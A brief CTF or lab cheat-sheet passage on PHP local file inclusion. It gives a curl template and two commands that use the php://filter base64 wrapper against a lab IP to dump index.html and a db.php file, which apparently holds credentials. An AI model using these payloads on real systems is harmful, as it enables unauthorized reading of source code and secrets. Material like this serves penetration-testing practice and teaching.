In CTF, it typically hides sensitive information like credentials in the source code.
Kali> curl --user-agent "PENTEST" "$URL?parameter=php://filter/$FILTERS/resource=$FILE"
#This forces PHP to base64 encode the file before it is used in the require statement.
curl "https://10.10.190.166/dev/index.html?view=php://filter/convert.base64-encode/resource=index.html"
curl "https://10.10.190.166/dev/index.html?view=php://filter/convert.base64-encode/resource=C:\xampp\htdocs\dev\db.php"